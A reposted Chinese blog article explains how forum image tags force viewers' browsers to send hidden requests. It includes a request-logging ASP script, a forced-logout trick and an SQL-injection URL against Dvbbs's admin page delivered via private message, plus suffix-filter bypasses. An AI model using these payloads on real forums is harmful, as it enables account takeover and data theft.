危险无处不在 Html标签带来的安全隐患

简介:
< DOCTYPE html PUBLIC -WCDTD XHTML StrictEN httpwwwworgTRxhtmlDTDxhtml-strictdtd>
WWW服务是因特网上最重要的服务之一,提供给客户各种各样的信息资源,而把这种信息资源组织起来的一个很重要的东西就是Html超文本语言,然后经过应用的发展就出现了其他的如UBB等标签但是最终都是以Html代码来实现的。经过研究发现,即使是最安全的安全代码(已经排除了通常所说的Xss漏洞)也无法避免另外一种恼人的攻击方式,配合不严格的程序,可能被人利用产生更大的威胁。

我们就以现在广泛存在于论坛,文章系统,Blog系统等脚本程序中的[img]标签也就是转化后的<img>标签举例来说明这个被忽视的安全问题吧!首先我来谈谈自己对这个标签以及浏览器对这个标签的处理过程。首先看看下面这个UBB代码:[IMG]/xkerfiles/uppic/2006-6/4/loveshell.jpg[/IMG],然后通过脚本程序的转换成为了<img src=/xkerfiles/uppic/2006-6/4/loveshell.jpg>。<img>标签

是在当前的页面嵌入一个图片,现在的论坛程序在发帖子以及个人头像那里都有这个功能,当浏览器遇到这个Html标记的时候就会根据src的地
址,这里是/xkerfiles/uppic/2006-6/4/loveshell.jpg去寻找网络资源,当找到这个图片的时候就会访问并且下载这个资源然后在本地进行解析,
在浏览器里显示出这个图片,如果找不到这个资源就会显示一个红叉表示出错了。这里/xkerfiles/uppic/2006-6/4/loveshell.jpg是个很正常的图
片,所以一切都顺利进行,但是不知道大家想过没有,如果这个资源是其他类型的资源譬如一个网页一个eXe文件或者是一个asp页面,当不是图片类型文件的时候,结果会怎么样呢?

答案很明显,是图片显示一个红X,我们的Exe文件也没有下载,Html页面也没有执行,这是理所当然的东西,因为IE或者其他浏览器会把取得的资源当作图片解析,这样就会产生错误从而显示红X了。到这里大家也许还觉得没有什么用,但是如果我们把图片的地址改成
http://127.0.0.1:88/imgtest/test.asp?user=shell这样的形式呢?其中test.asp里有如下内容的话

<%
dim fso,file //定义Fso对象


Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set fso = Server.createObject("Scripting.FileSystemObject")
path = server.mappath("imgtest.txt") //打开同目录imgtest.txt

set file=fso.opentextfile(path, ForAppending, TRUE)
file.write("有人来了: ") //写内容
file.write(request.Servervariables("QUERY_STRING"))
file.write vbCrLf
file.close
set file = nothing
set fso = nothing
%>

大家可以测试看看,我们的访问被记录了,甚至还得到了提交的参数,但是这对于浏览器来说是未知的,因为我们只看到了一个红X。到这里我们也许知道我们可以用这个东西做什么了!就是可以以浏览者的身份悄悄去访问一个页面,甚至支持Get的参数请求,这很重要,理解了这个就可以在后面发挥我们的想象力来利用这个来做什么!


1、刷流量:我们可以在一个流量大的论坛把自己的图象设置成要刷的页面,然后每一个浏览者都会去访问下我们的页面,不管他是否看到了,但是他访问了,不是么?//web学习吧www.webstudy8.com

2、破坏:这个让人很恼火,对于动网论坛如果把你的图象设置成logout.asp的话,呵呵,所有看了你的帖子的人都会被T了,很爽吧!

呵呵,至于幻影论坛,大家可以试试,但是这是很不道德的!

3、黑客:这个是我们最感兴趣的,可以跨越权限做一些事情,因为现在很多的程序对于前台都是防守较好,但是后台就不是那么严密了。如果程序中取得数据的时候是用request("id")这样的方法取得的话,那么我们就可以利用标签向Cgi脚本提交数据了,注意必须不能是request.form("username2")这种严格指定了取得的变量来源的方式,因为我们的变量只能通过URL提交也就是上面说的QUERY_STRING方式。这对于写法不严密的程序是很致命的,要例子的话动网就是一个,动网Sql版本后台的messages.asp里取得数据的方式就是request,代码如下:

......
Sub Del()
Dim Dnum
If Request("username") = "" Then
Body = Body + "<br>" + "请输入要批量删除的用户名。"
Exit Sub
End If
Sql = "select COUNT(*) FROM Dv_Message where Sender = '" & Request("username") & "'"
Set Rs = Dvbbs.Execute(Sql)
......

这本来是后台的必须要有后台管理权限才能访问的,但是我们构造这样一个Url:

http://bbs.dvbbs.net/admin/messages.asp?action=del&user=';updateDv_UsersetUserEmail=(selecttop1

[Username]fromDv_admin)where[UserName]='loveshell';--

或者类似的语句了,然后放到[Img]标签里。大家也许觉得管理员看自己帖子的可能性也不大,但是要知道论坛短信也是支持和发帖子一样的[img]标签的,所以如果能给管理员发个短信,在里面构造我们的Img标签只要他一打开短信就会种招的哦!如果可以和社会工程学联一块,杀人不沾血啊,呵呵!有点遗憾的是仿佛动网对&等符号做了转换,大家可以尝试突破,更何况网络上写法不严密的程序何止千万。

4 想象力 大家赚钱都这么辛苦,如果把IMG标签里的地址改成附件下载地址的话,呵呵,说说而已,没有测试。

5 ......

再说说对这个问题如何防御,如果想保留这个[IMG]标签但是又不想出问题的话,是需要转换的,譬如限定后缀必须是jpg,呵呵这可以通过URL编码加#JPG饶过,反正我觉得如果有限制的话一般都是能饶过的,即使你限制了IMG,那好,还有Flash标签呢,还有Rm标签呢?......

防御和利用都是艰难的。


本文转自 netcorner 博客园博客,原文链接:http://www.cnblogs.com/netcorner/archive/2010/09/03/2911992.html    ,如需转载请自行联系原作者
相关文章
|
3月前
|
移动开发 HTML5
HTML5标签的类型
HTML5标签的类型。
78 5
|
2月前
|
移动开发 搜索推荐 UED
HTML5的新语义化标签
HTML5引入的这些新语义化标签,通过明确标识内容的结构和意义,使得网页结构更加清晰,易于理解和维护。使用这些标签不仅提升了网页的可读性和可访问性,还增强了搜索引擎和辅助技术对网页内容的解析能力。在实际开发中,合理使用这些语义化标签,能够显著提升网页的质量和用户体验。
97 49
|
2月前
|
存储 移动开发 前端开发
高效的 HTML 与 CSS 编写技巧,涵盖语义化标签、文档结构优化、CSS 预处理、模块化设计、选择器优化、CSS 变量、媒体查询等内容
本文深入探讨了高效的 HTML 与 CSS 编写技巧,涵盖语义化标签、文档结构优化、CSS 预处理、模块化设计、选择器优化、CSS 变量、媒体查询等内容,旨在提升开发效率、网站性能和用户体验。
51 5
|
2月前
|
移动开发 编解码 UED
除了 `<audio>` 和 `<video>` 标签,HTML5 还支持哪些多媒体格式?
【10月更文挑战第19天】HTML5对多种多媒体格式的支持,为网页开发者提供了丰富的选择,能够更好地满足不同类型多媒体内容在网页中的展示和交互需求,提升了网页的用户体验和多媒体应用的多样性。
|
2月前
|
存储 移动开发 前端开发
|
3月前
|
前端开发
【HTML】img标签和超链接标签
【HTML】img标签和超链接标签
60 2
|
3月前
|
移动开发 前端开发 JavaScript
【HTML】HTML页面和常见标签
【HTML】HTML页面和常见标签
46 1
|
4月前
|
前端开发
前端基础(二)_HTML常用标签(块级标签、行级标签、行块级标签)
本文详细介绍了HTML中的常用标签,包括块级标签(如`h1`至`h6`、`p`、`div`等)、行级标签(如`span`、`b`、`strong`、`i`、`em`、`sub`、`sup`、`del`、`a`等),以及行块级标签(如`img`)。文章解释了这些标签的用途、特点和基本用法,并通过示例代码展示了如何在HTML文档中使用它们。
236 1
|
4月前
|
移动开发 开发者 UED
HTML5中video标签controlslist属性的使用方法
`controlsList`属性为开发者提供了更多控制HTML5视频播放器行为的能力,让视频内容的集成更加灵活和符合需求。通过精心设计的控制列表,可以提升用户体验,同时保持内容的安全性和专业性。这种细节的控制和定制能力是现代Web开发的一个重要方面,反映了HTML5对开发者和内容创作者需求的响应。
403 1
|
4月前
|
存储 JavaScript Java
使用NekoHTML解析HTML并提取META标签内容
关于NekoHTML的代码样例,这里提供一个简单的示例,用于展示如何使用NekoHTML来解析HTML文档并提取其中的信息。请注意,由于NekoHTML的具体实现和API可能会随着版本更新而有所变化,以下代码仅供参考。 ### 示例:使用NekoHTML解析HTML并提取META标签内容 ```java import org.cyberneko.html.parsers.DOMParser; import org.w3c.dom.Document; import org.w3c.dom.Element; import org.w3c.dom.NodeList; import org.xml